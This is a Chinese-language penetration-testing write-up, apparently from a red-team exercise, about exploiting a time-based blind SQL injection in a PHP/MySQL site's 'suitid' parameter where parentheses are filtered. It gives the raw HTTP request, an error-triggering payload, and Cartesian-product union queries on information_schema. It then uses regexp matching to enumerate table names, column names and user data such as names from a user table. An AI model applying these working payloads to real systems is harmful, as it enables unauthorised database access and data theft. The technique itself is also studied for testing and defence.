前几天的大型活动中,发现某个目标站(php+mysql)存在延时注入注入,注入点如下:
POST /techan/dialog_calendar HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Referer: https://xxx/
Cookie: xxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 234
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
containdiv=inputdate&month=1ssds2&suitid=11&year=2020
suitid存在注入,类型为延时盲注,但在测试中发现目标过滤了小括号,这也就意味着Mysql自带的内置函数无法使用,根据之前搜集过一些bypass小括号的tips,最终拿下目标。
此次拿下目标主要是通过笛卡尔积盲注来绕过小括号被过滤,在网上找了一些文章学习,发现都是一笔带过,只给了个延时语句,在此语句利用的前提下,还需要继续构造查询表名、列名、字段内容等等才能成功利用,而现有文章记录太过宽泛,所以在此记录一下详细构造查询的过程。
先是通过特殊字符构造报错,爆出sql语句,并根据报错语句构造,确定此处为注入点,
containdiv=inputdate&month=12&suitid=1%00%C0%A7%C0%A2%252527%252522&year=2020
注入语句可以控制,直接插入数据库查询,并且发现小括号被过滤
确定为过滤小括号的延时盲注
之前自ctf中遇到过过滤小括号的布尔盲注,可以通过like或regexp来绕过,延时注入还是头一次,通过度娘查询,发现有师傅写过可以用笛卡尔积进行延时。
bypass语句也是给出来了,剩下的只是构造语句进行查询了,
union select 1,2,3,4,5,6,7,b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=2
但是之前使用笛卡尔积盲注的时候也是配合小括号来使用的,这里只给了一个基础语句,还是需要通过构造没有小括号的判断语句查询。
通过分析控制条件的语句应该是在where语句后,
当where 1=1时存在延时
where 1=2时不延时
为了更好的调试查看返回结果,我选择先在本地数据库中来构造执行语句。
随便找了一个本地数据库5kcrm
,构造语句
select * from 5kcrm_action_log union select 1,2,3,4,5,6,7,b.column_name from information_schema.columns b where 1=1
发现经过延时后,返回的内容为information_schema.cloumns表下columns_name的所有内容,也就是所有的列名
那么我就可以通过like或regexp来判断库中所有列名的内容了,构造语句:
select * from 5kcrm_action_log union select 1,2,3,4,5,6,7,b.column_name from information_schema.columns b where b.column_name regexp binary '^addd'
发现成功延时
select * from 5kcrm_action_log union select 1,2,3,4,5,6,7,b.column_name from information_schema.columns b where b.column_name regexp binary '^adddxxx'
不延时,说明数据库中无adddxxx开头的列名。然后通过循环遍历所有字符,获取到数据库中所有列名,同样的方法可以获取表名
正常情况下,知道了表名和列名,可以直接通过下列语句获取数据库内容:
union select 1,2,3,4,5,6,7,name from 5kcrm_admin
但这里是盲注,而且没有小括号的情况下,还是只能选择笛卡尔积来进行获取,比如这里我通过上面的语句获取到了表名为5kcrm_user
,列名为name
那么可以构造如下语句来判断5kcrm_user表名下name列前两位是否为'ad'开头的内容,如果存在则延时
select * from 5kcrm_action_log union select 1,2,3,4,5,6,7,name from information_schema.columns b join 5kcrm_user where name regexp '^ad'
依次遍历,可获取数据库内容